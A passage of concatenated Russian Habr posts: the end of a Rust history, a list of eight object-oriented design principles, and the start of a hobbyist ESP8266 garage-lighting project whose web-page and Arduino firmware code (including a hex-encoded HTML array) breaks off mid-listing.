В начале 2015 года была [выпущена](https://blog.rust-lang.org/2015/01/09/Rust-1.0-alpha.html) версия Rust 1.0 Alpha. В ней стабилизировали ядро языка, развили систему макросов, и, наконец, закрепили за целочисленными типами int и uint [названия](https://github.com/rust-lang/rust/issues/20639) isize и usize. В начале второго квартала того же года Rust 1.0 [перешел](https://blog.rust-lang.org/2015/04/03/Rust-1.0-beta.html) в бету — к этому моменту репозиторий crates.io имел 1700 крэйтов ([структурная единица компиляции](https://toster.ru/q/226758)), а количество скачиваний из репозитория превысило один миллион.
В мае 2015 года состоялся официальный релиз — [Rust 1.0](https://blog.rust-lang.org/2015/05/15/Rust-1.0.html). Это ознаменовало начало стабильности. С этого момента все вносимые изменения должны [были иметь](https://www.youtube.com/watch?v=79PSagCD_AY) обратную совместимость, что позволило использовать Rust в реальных проектах. Он начал находить применение в таких сферах, как game dev, веб-разработка и разработка операционных систем.
Переход в продакшн (май 2016)
-----------------------------
> *Если язык хорош лишь в чем-то одном, то это — провал*
>
>
>
> — Грэйдон Хор (Graydon Hoare), [разработчик](https://www.infoq.com/news/2012/08/Interview-Rust) Rust
>
>
В 2015 году площадка StackOverflow провела опрос среди разработчиков, в котором их попросили отметить, с какими языками программирования они работали и с какими хотели бы познакомиться. Тогда Rust [занял](https://insights.stackoverflow.com/survey/2015#tech-super) третью строчку рейтинга. Однако годом позднее он [переместился](https://insights.stackoverflow.com/survey/2016#technology-most-loved-dreaded-and-wanted) на первое место — 79% пользователей изъявили желание продолжить работу с ним.
Один из резидентов Hacker News [назвал](https://news.ycombinator.com/item?id=15980348) главными достоинствами языка прозрачность и простоту документации. Другие пользователи также отмечали открытость и доброжелательность Rust-сообщества, которое всегда готово помочь с изучением особенностей ЯП.
При этом многие разработчики решают продолжить работу с этим языком из-за его механизмов безопасности. Как [сказал](https://www.reddit.com/r/rust/comments/4l44z3/why_should_i_use_rust/) один из пользователей Reddit: «Программирование на Rust — это как паркур со страховкой и в защите; иногда это выглядит странно, но вы можете делать многие трюки, не боясь сломать себе что-нибудь».
С момента релиза стабильной версии Rust начался период его полноценного использования в продакшн. Одной из первых компаний, которые применили Rust в своем проекте, [стала](https://blog.rust-lang.org/2017/05/15/rust-at-two-years.html) Mozilla. Часть «внутренностей» Firefox 45 для Linux были переписаны на Rust, а начиная с версии Firefox 47, Rust-код присутствует и в версии для Windows. Их [Project Quantum](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12), анонсированный в октябре 2016 года, также имеет в своем составе компоненты Servo.
Rust [используется](https://www.wired.com/2016/03/epic-story-dropboxs-exodus-amazon-cloud-empire/) и в Dropbox — на этом ЯП написано ядро их продукта. Компания Dropbox [создала](https://www.wired.com/2016/03/epic-story-dropboxs-exodus-amazon-cloud-empire/) свое новое облачное хранилище Magic Pocket, в которое [перенесла](https://blogs.dropbox.com/tech/2016/03/magic-pocket-infrastructure/) информацию с Amazon S3. Изначально оно было реализовано на языке Go, но при больших нагрузках проблемой становилось высокое потребление памяти и низкая предсказуемость поведения кода на Go. Для решения этих проблем был частично задействован Rust.
В прошлом году использовать Rust для обработки пакетов JavaScript начали в npm. Rust помог исключить задержки в системе, работающей с 350 миллионами пакетов в день. Специалист службы поддержки npm Эшли Уильямс (Ashley Williams) [рассказывала](http://2017.rustfest.eu/talks/#how-i-convinced-the-world-s-largest-package-manager-to-use-rust-and-so-can-you) об опыте использования Rust на конференции RustFest в Украине. Видео вы найдете по [ссылке](https://www.youtube.com/watch?v=GCsxYAxw3JQ).
Rust также используем и мы в компании Bitfury. На этом языке программирования реализован наш фреймворк для создания блокчейнов [Exonum](https://github.com/exonum). Впервые мы представили платформу на конференции RustFest 2017, где показали её возможности и провели воркшоп, на котором продемонстрировали работу сервиса по созданию криптовалют (краткое руководство о том, как создать криптовалюту на Exonum вы можете найти [здесь](https://exonum.com/doc/get-started/create-service/)).
Реализация на Rust [оказалась](https://habrahabr.ru/company/bitfury/blog/333446/) кстати при работе со смарт-контрактами. Благодаря этому умные контракты Exonum имеют большую производительность, чем контракты Ethereum (или Fabric). Код платформы полностью открыт и лежит в репозитории проекта на [GitHub](https://github.com/exonum/exonum).
Rust также находит применение в сфере информационной безопасности. Такие проекты как Tor уже [переносят](https://www.bleepingcomputer.com/news/software/tor-browser-will-feature-more-rust-code/) часть кода на Rust.
В целом, сегодня Rust в своих продуктах используют 105 компаний. Полный их список (в котором также отмечена и Bitfury Group) можно найти на странице [Friends of Rust](https://www.rust-lang.org/en-US/friends.html) на официальном сайте. И количество компаний, создающих программные продукты на Rust, постоянно увеличивается, чему разработчики языка [очень рады](https://blog.rust-lang.org/2017/05/15/rust-at-two-years.html).
---
** **28 февраля** в Москве мы проведем **[Rust-митап](https://bitfury.timepad.ru/event/665119/)** с разработчиками Exonum, Bitfury Group и Parity Technologies. Будем обсуждать создание смарт-контрактов с помощью Rust & WebAssembly. Кроме доклада будет и практическая часть по созданию WASM-контрактов на Exonum. Подробнее об эвенте [тут](https://bitfury.timepad.ru/event/665119/).
* **1 марта** мы проведем открытый воркшоп, на котором покажем, как можно перевести на WASM не только смарт-контакты, но и клиентскую часть Exonum-блокчейна. Подробности встречи можно узнать [по ссылке](https://bitfury.timepad.ru/event/665143/).
Вход на мероприятия свободный по предварительной регистрации.* | https://habr.com/ru/post/349786/ | null | ru | null |
# Восемь принципов программирования, которые могут облегчить вам жизнь
Одна из главных проблем в разработке программного обеспечения – борьба с возрастающей сложностью системы. Решением этой проблемы занимаются с времен появления первых программ. Результатами являются языки, всё более упрощающие взаимодействие с машиной, парадигмы программирования вроде ООП, паттерны. В этой статье будут рассмотрены принципы программирования, позволяющие уменьшить сложность и облегчить сопровождение системы.
**1. Инкапсулируйте то, что изменяется.**
Это основа всего ООП. Надо выделить компоненты, которые могут измениться, и отделить их от части системы, которая останется неизменной. Инкапсуляция позволит изменить или расширить выделенные компоненты без изменения остальной части системы. Основная проблема здесь в том, как лучше всего разделить приложение на части. Все паттерны проектирования занимаются ответом на этот вопрос.
**2. Предпочитайте композицию наследованию.**
При композиции поведение не наследуется, а предоставляется для использования правильно выбранным объектом. Так же композиция позволяет изменить поведение объекта, если он подключен не напрямую, а через интерфейс (см. след. принцип). Естественно, везде фанатично применять композицию и совсем отказаться от наследования было бы неразумно.
**3. Код должен зависеть от абстракций, а не от конкретных реализаций.**
Высокоуровневые компоненты не должны зависеть от низкоуровневых, и те и другие должны зависеть от абстракций. Авторы [этой](http://www.ozon.ru/context/detail/id/2588000/) книги называют его *принципом инверсии зависимостей (Inversion of Control, IoC)*. Лучше выделить контракт класса в интерфейс, а затем реализовать его. Например вместо:
`private ArrayList`<`String`> `someList = new ArrayList`<`String`>`();`
надо писать:
`private List`<`String`> `someList= new ArrayList`<`String`>();
Соответственно, в аксессорах, в вызовах методов должны использоваться абстракции, а не реализации. Теперь при необходимости изменить поведение списка на двусвязный достаточно поменять только одну строку:
`private List`<`String`> `someList= new LinkedList`<`String`>();
**4. Стремитесь к слабой связности взаимодействующих объектов.**
Чем меньше объекты знают друг о друге, тем гибче система. Одному компоненту нет необходимости знать о внутреннем устройстве другого.
**5. Классы должны быть открыты для расширения, но закрыты для изменения.**
Это так называемый принцип «*Открытости/закрытости*». В разные периоды времени его реализовывали разным образом. Бертран Мейер предлагал в своей [книге](http://www.amazon.com/Object-Oriented-Software-Construction-Book-CD-ROM/dp/0136291554) не изменять созданную реализацию класса, а при необходимости внесения изменений расширять класс посредством создания наследников. Позже была выдвинута идея использовать интерфейсы, реализации которых могут быть полиморфно заменены одна на другую при необходимости.
**6. Взаимодействуйте только с близкими друзьями.**
Это принцип *минимальной информированности*. При проектировании класса надо обращать внимание на количество классов, с которыми будет происходить его взаимодействие. Чем меньше таких классов, тем гибче система.
**7. Не вызывайте нас – мы сами вас вызовем.**
Или *голливудский принцип*. По [Фаулеру](http://martinfowler.com/bliki/InversionOfControl.html) – это синоним принципа IoC. Согласно идеи, компоненты высокого уровня (например, интерфейсы) определяют за компоненты низкого уровня (реализации), как и когда им подключаться к системе. Авторы [Head First Design Patterns](http://www.ozon.ru/context/detail/id/2588000/) допускают, что согласно этому принципу компоненты низкого уровня могут участвовать в вычислениях без формирования зависимостей с компонентами высокого уровня, и в этом состоит отличие от более жесткого IoC.
**8. Класс (или метод) должен иметь только одну причину для изменения.**
Это так называемый «*принцип одной обязанности*». Чем больше причин для изменения, тем больше вероятность изменения. А изменение – причина массы проблем. Принцип указывает на то, что классу (как и методу) должна быть выделена только одна обязанность. Например, в хорошо спроектированной системе с трехслойной архитектурой: один метод DAO делает ровно один запрос в базу, один метод сервиса выполняет ровно одну задачу бизнес-логики, один метод контроллера вызывает сервис ровно один раз.
Практически все принципы пересекаются друг с другом, у всех задача одна и та же – уменьшение сложности системы и, как следствие, жизни программистов. Хочется верить, что чья-то жизнь станет легче после прочтения =)
**Upd.:** Господа, которые ссылаются на Head First Java Patterns: это не первая и не последняя книга, в которой были описаны эти принципы. В этом можно убедиться, прочитав, например:
[Martin Fowler, Patterns of Enterprise Application Architecture](http://www.ozon.ru/context/detail/id/1829406/)
[Kent Beck, Implementation Patterns](http://www.ozon.ru/context/detail/id/3817229/)
[Andrew Hunt, David Thomas, The Pragmatic Programmer](http://www.ozon.ru/context/detail/id/1829500/)
[Robert C. Martin, Clean Code: A Handbook of Agile Software Craftsmanship](http://www.ozon.ru/context/detail/id/4220508/) | https://habr.com/ru/post/140827/ | null | ru | null |
# Уличное освещение на основе ESP8266
Привет, Хабр! В этой статье я расскажу о своем опыте разработки системы уличного освещения, построенной на микроконтроллере ESP8266. Хоть данная идея и не нова и в интернете огромное количество готовых проектов на базе данного микроконтроллера, я хотел бы поделиться тем, что у меня получилось в надежде, что для кого-нибудь это окажется полезным.
Прежде чем начать, позвольте добавить немного предыстории. Я живу в частном доме и улица, на которой расположен мой дом, не имеет хорошего освещения. Особенно данная проблема остро ощущается зимой, когда темнеет очень рано. Именно в один из таких дней, припарковав автомобиль и закрывая за ним ворота в полной темноте я решил, что пора заняться внешним освещением. Первая мысль была - повесить светодиодный прожектор с датчиком движения и освещенности. Вариант отличный, но мне хотелось все сделать самому, к тому же предыдущий Pet-project был закончен и время позволяло заняться чем-то другим. Обдумав различные варианты реализации, включая как с датчиками так и без, а также учитывая, что на тот момент у меня в наличии уже было несколько модулей реле с ESP-01S, купленных ранее для ознакомления, я остановился на следующем - реализовать систему уличного освещения на базе ESP8266 с управлением через web-интерфейс. В качестве экспериментальной площадки было выбрано место парковки автомобиля.
Микроконтроллер ESP8266
-----------------------
История ESP8266 началась в 2014 году. За это время он оброс серьезным комьюнити и получил широкую популярность благодаря наличию Wi-Fi, а также ввиду его относительно низкой стоимости. На базе ESP8266 построено большое количество различных модулей, более подробно о которых можно почитать на Хабре [здесь](https://habr.com/ru/post/390593/) и [здесь](https://habr.com/ru/post/547330/). В данной статье речь будет идти о модуле ESP-01S, который я приобрел в паре с модулем реле для него.
Небольшая справка - модуль реле для ESP-01S уже содержит стабилизатор напряжения AMS1117, обеспечивающий питание микроконтроллера равное 3.3V. При этом собственное напряжение питание модуля реле составляет 5V, что существенно упрощает его использование. Управление реле осуществляется посредствам GPIO0.
Однако, для большей наглядности, во всех последующих схемах совместно с ESP-01S будет использоваться обычное реле, которое при желании всегда может быть заменено на модуль реле для ESP-01S.
Подготовка к программированию
-----------------------------
Процесс программирования ESP-01S в подробностях описан на Хабре [здесь](https://habr.com/ru/post/390593/) и [здесь](https://habr.com/ru/post/547330/), поэтому я решил не повторяться, а ограничиться лишь схемой подключения, которую я использовал во время разработки.
Для подключения к компьютеру я использовал кабель USB <–> UART TTL.
### Программирование. Написание прошивки
В качестве среды разработки я выбрал Arduino IDE, процесс настройки которой, для работы с ESP8266, в деталях описан на Хабре [здесь](https://habr.com/ru/post/371853/) и [здесь](https://habr.com/ru/post/547330/). Поэтому опять же не станем останавливаться на нем подробно.
Прежде чем продолжить, я хотел бы отметить, что одним из неоспоримых преимуществ Arduino IDE является то, что она содержит огромное количество готовых примеров, которые могут быть использованы для ознакомления или просто взяты в качестве основы, что значительно упрощает разработку.
Поскольку управление освещением планировалось осуществлять через web-интерфейс, то первым делом я подготовил следующую html страницу.
Исходный код html страницы
```
Remlight
body
{
margin:30px auto;
text-align: center;
font-family: 'Arial';
}
#title
{
color: #444444;
font-weight: bold;
font-size: 13pt;
outline: none;
}
#button-container
{
display: inline-block;
}
#button-container > div
{
padding: 10px;
width: 100%;
}
button
{
color: #444444;
background: #F3F3F3;
border: 1px #DADADA solid;
padding: 10px 40px;
border-radius: 2px;
font-weight: bold;
font-size: 9pt;
outline: none;
width: 100%;
}
button:hover
{
color: #333333;
background: #F7F7F7;
border: 1px #C6C6C6 solid;
box-shadow: 1px 1px 1px #EAEAEA;
}
button:active
{
box-shadow: inset 1px 1px 1px #DFDFDF;
}
button.red
{
color: white;
background: -webkit-linear-gradient(top, #DD4B39, #D14836);
background: -moz-linear-gradient(top, #DD4B39, #D14836);
background: -ms-linear-gradient(top, #DD4B39, #D14836);
border: 1px solid #DD4B39;
text-shadow: 0 1px 0 #C04131;
}
button.red:hover
{
background: -webkit-linear-gradient(top, #DD4B39, #C53727);
background: -moz-linear-gradient(top, #DD4B39, #C53727);
background: -ms-linear-gradient(top, #DD4B39, #C53727);
border: 1px solid #AF301F;
}
button.red:active
{
background: -webkit-linear-gradient(top, #D74736, #AD2719);
background: -moz-linear-gradient(top, #D74736, #AD2719);
background: -ms-linear-gradient(top, #D74736, #AD2719);
box-shadow: inset 0 1px 1px rgba(0,0,0,0.2);
}
Управление освещением (гараж)
[Включить свет на 5 минут](/light?action=on&time=5)
[Включить свет на 10 минут](/light?action=on&time=10)
[Включить свет на 15 минут](/light?action=on&time=15)
[Включить свет (постоянно)](/light?action=on)
[Выключить свет](/light?action=off)
```
Для обеспечения работы ESP-01S в качестве web-сервера, а также для поддержки базовой аутентификации был выбран класс ESP8266WebServer. При этом исходный код html-страницы был преобразован в шестнадцатеричный вид и записан в качестве содержимого массива `data\_light\_html`.
Исходный код прошивки
```
#include
#include
#include
#include
//-----------------------------------------------------------------------------
#define WIFI\_SSID "ssid"
#define WIFI\_PASSWORD "password"
#define WWW\_USER "user"
#define WWW\_PASSWORD "password"
//-----------------------------------------------------------------------------
#define AUTHENTICATE\_OR\_RETURN() \
if (!g\_Server.authenticate(WWW\_USER, WWW\_PASSWORD)) { \
return g\_Server.requestAuthentication(); \
}
//-----------------------------------------------------------------------------
static const char data\_light\_html[] = {
0x3c, 0x21, 0x64, 0x6f, 0x63, 0x74, 0x79, 0x70, 0x65, 0x20,
0x68, 0x74, 0x6d, 0x6c, 0x3e, 0xd, 0xa, 0xd, 0xa, 0x3c,
0x68, 0x74, 0x6d, 0x6c, 0x3e, 0xd, 0xa, 0x3c, 0x68, 0x65,
0x61, 0x64, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x3c, 0x6d, 0x65,
0x74, 0x61, 0x20, 0x63, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74,
0x3d, 0x22, 0x75, 0x74, 0x66, 0x2d, 0x38, 0x22, 0x3e, 0xd,
0xa, 0x20, 0x20, 0x3c, 0x6d, 0x65, 0x74, 0x61, 0x20, 0x6e,
0x61, 0x6d, 0x65, 0x3d, 0x22, 0x76, 0x69, 0x65, 0x77, 0x70,
0x6f, 0x72, 0x74, 0x22, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x65,
0x6e, 0x74, 0x3d, 0x22, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3d,
0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x2d, 0x77, 0x69, 0x64,
0x74, 0x68, 0x2c, 0x20, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61,
0x6c, 0x2d, 0x73, 0x63, 0x61, 0x6c, 0x65, 0x3d, 0x31, 0x22,
0x3e, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x3c, 0x74, 0x69,
0x74, 0x6c, 0x65, 0x3e, 0x52, 0x65, 0x6d, 0x6c, 0x69, 0x67,
0x68, 0x74, 0x3c, 0x2f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x3e,
0xd, 0xa, 0x20, 0x20, 0x3c, 0x6d, 0x65, 0x74, 0x61, 0x20,
0x6e, 0x61, 0x6d, 0x65, 0x3d, 0x22, 0x64, 0x65, 0x73, 0x63,
0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x20, 0x63,
0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x3d, 0x22, 0x52, 0x65,
0x6d, 0x6f, 0x74, 0x65, 0x20, 0x6c, 0x69, 0x67, 0x68, 0x74,
0x69, 0x6e, 0x67, 0x20, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f,
0x6c, 0x22, 0x3e, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x3c,
0x73, 0x74, 0x79, 0x6c, 0x65, 0x3e, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x62, 0x6f, 0x64, 0x79, 0x20, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x7b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x6d, 0x61, 0x72, 0x67, 0x69, 0x6e, 0x3a, 0x33,
0x30, 0x70, 0x78, 0x20, 0x61, 0x75, 0x74, 0x6f, 0x3b, 0xd,
0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78,
0x74, 0x2d, 0x61, 0x6c, 0x69, 0x67, 0x6e, 0x3a, 0x20, 0x63,
0x65, 0x6e, 0x74, 0x65, 0x72, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x6e, 0x74, 0x2d, 0x66,
0x61, 0x6d, 0x69, 0x6c, 0x79, 0x3a, 0x20, 0x27, 0x41, 0x72,
0x69, 0x61, 0x6c, 0x27, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x23, 0x74, 0x69, 0x74, 0x6c, 0x65, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x7b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x3a, 0x20, 0x23, 0x34,
0x34, 0x34, 0x34, 0x34, 0x34, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x66, 0x6f, 0x6e, 0x74, 0x2d, 0x77,
0x65, 0x69, 0x67, 0x68, 0x74, 0x3a, 0x20, 0x62, 0x6f, 0x6c,
0x64, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x66, 0x6f, 0x6e, 0x74, 0x2d, 0x73, 0x69, 0x7a, 0x65, 0x3a,
0x20, 0x31, 0x33, 0x70, 0x74, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x6f, 0x75, 0x74, 0x6c, 0x69, 0x6e,
0x65, 0x3a, 0x20, 0x6e, 0x6f, 0x6e, 0x65, 0x3b, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x23, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e,
0x2d, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72,
0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7b, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70,
0x6c, 0x61, 0x79, 0x3a, 0x20, 0x69, 0x6e, 0x6c, 0x69, 0x6e,
0x65, 0x2d, 0x62, 0x6c, 0x6f, 0x63, 0x6b, 0x3b, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x23, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e,
0x2d, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72,
0x20, 0x3e, 0x20, 0x64, 0x69, 0x76, 0x20, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x7b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6e, 0x67, 0x3a,
0x20, 0x31, 0x30, 0x70, 0x78, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3a,
0x20, 0x31, 0x30, 0x30, 0x25, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x20, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x7b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x3a, 0x20,
0x23, 0x34, 0x34, 0x34, 0x34, 0x34, 0x34, 0x3b, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6b,
0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x23, 0x46,
0x33, 0x46, 0x33, 0x46, 0x33, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x62, 0x6f, 0x72, 0x64, 0x65, 0x72,
0x3a, 0x20, 0x31, 0x70, 0x78, 0x20, 0x23, 0x44, 0x41, 0x44,
0x41, 0x44, 0x41, 0x20, 0x73, 0x6f, 0x6c, 0x69, 0x64, 0x3b,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61,
0x64, 0x64, 0x69, 0x6e, 0x67, 0x3a, 0x20, 0x31, 0x30, 0x70,
0x78, 0x20, 0x34, 0x30, 0x70, 0x78, 0x3b, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6f, 0x72, 0x64, 0x65,
0x72, 0x2d, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3a, 0x20,
0x32, 0x70, 0x78, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x66, 0x6f, 0x6e, 0x74, 0x2d, 0x77, 0x65, 0x69,
0x67, 0x68, 0x74, 0x3a, 0x20, 0x62, 0x6f, 0x6c, 0x64, 0x3b,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6f,
0x6e, 0x74, 0x2d, 0x73, 0x69, 0x7a, 0x65, 0x3a, 0x20, 0x39,
0x70, 0x74, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x6f, 0x75, 0x74, 0x6c, 0x69, 0x6e, 0x65, 0x3a, 0x20,
0x6e, 0x6f, 0x6e, 0x65, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3a, 0x20,
0x31, 0x30, 0x30, 0x25, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3a, 0x68, 0x6f, 0x76,
0x65, 0x72, 0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7b,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f,
0x6c, 0x6f, 0x72, 0x3a, 0x20, 0x23, 0x33, 0x33, 0x33, 0x33,
0x33, 0x33, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x62, 0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e,
0x64, 0x3a, 0x20, 0x23, 0x46, 0x37, 0x46, 0x37, 0x46, 0x37,
0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x6f, 0x72, 0x64, 0x65, 0x72, 0x3a, 0x20, 0x31, 0x70, 0x78,
0x20, 0x23, 0x43, 0x36, 0x43, 0x36, 0x43, 0x36, 0x20, 0x73,
0x6f, 0x6c, 0x69, 0x64, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x62, 0x6f, 0x78, 0x2d, 0x73, 0x68, 0x61,
0x64, 0x6f, 0x77, 0x3a, 0x20, 0x31, 0x70, 0x78, 0x20, 0x31,
0x70, 0x78, 0x20, 0x31, 0x70, 0x78, 0x20, 0x23, 0x45, 0x41,
0x45, 0x41, 0x45, 0x41, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3a, 0x61, 0x63, 0x74,
0x69, 0x76, 0x65, 0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x7b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x6f, 0x78, 0x2d, 0x73, 0x68, 0x61, 0x64, 0x6f, 0x77, 0x3a,
0x20, 0x69, 0x6e, 0x73, 0x65, 0x74, 0x20, 0x31, 0x70, 0x78,
0x20, 0x31, 0x70, 0x78, 0x20, 0x31, 0x70, 0x78, 0x20, 0x23,
0x44, 0x46, 0x44, 0x46, 0x44, 0x46, 0x3b, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x2e, 0x72,
0x65, 0x64, 0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7b,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6f,
0x6c, 0x6f, 0x72, 0x3a, 0x20, 0x77, 0x68, 0x69, 0x74, 0x65,
0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62,
0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a,
0x20, 0x2d, 0x77, 0x65, 0x62, 0x6b, 0x69, 0x74, 0x2d, 0x6c,
0x69, 0x6e, 0x65, 0x61, 0x72, 0x2d, 0x67, 0x72, 0x61, 0x64,
0x69, 0x65, 0x6e, 0x74, 0x28, 0x74, 0x6f, 0x70, 0x2c, 0x20,
0x23, 0x44, 0x44, 0x34, 0x42, 0x33, 0x39, 0x2c, 0x20, 0x23,
0x44, 0x31, 0x34, 0x38, 0x33, 0x36, 0x29, 0x3b, 0x20, 0xd,
0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63,
0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d,
0x6d, 0x6f, 0x7a, 0x2d, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72,
0x2d, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x28,
0x74, 0x6f, 0x70, 0x2c, 0x20, 0x23, 0x44, 0x44, 0x34, 0x42,
0x33, 0x39, 0x2c, 0x20, 0x23, 0x44, 0x31, 0x34, 0x38, 0x33,
0x36, 0x29, 0x3b, 0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x62, 0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75,
0x6e, 0x64, 0x3a, 0x20, 0x2d, 0x6d, 0x73, 0x2d, 0x6c, 0x69,
0x6e, 0x65, 0x61, 0x72, 0x2d, 0x67, 0x72, 0x61, 0x64, 0x69,
0x65, 0x6e, 0x74, 0x28, 0x74, 0x6f, 0x70, 0x2c, 0x20, 0x23,
0x44, 0x44, 0x34, 0x42, 0x33, 0x39, 0x2c, 0x20, 0x23, 0x44,
0x31, 0x34, 0x38, 0x33, 0x36, 0x29, 0x3b, 0x20, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6f, 0x72, 0x64,
0x65, 0x72, 0x3a, 0x20, 0x31, 0x70, 0x78, 0x20, 0x73, 0x6f,
0x6c, 0x69, 0x64, 0x20, 0x23, 0x44, 0x44, 0x34, 0x42, 0x33,
0x39, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x74, 0x65, 0x78, 0x74, 0x2d, 0x73, 0x68, 0x61, 0x64, 0x6f,
0x77, 0x3a, 0x20, 0x30, 0x20, 0x31, 0x70, 0x78, 0x20, 0x30,
0x20, 0x23, 0x43, 0x30, 0x34, 0x31, 0x33, 0x31, 0x3b, 0xd,
0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e,
0x2e, 0x72, 0x65, 0x64, 0x3a, 0x68, 0x6f, 0x76, 0x65, 0x72,
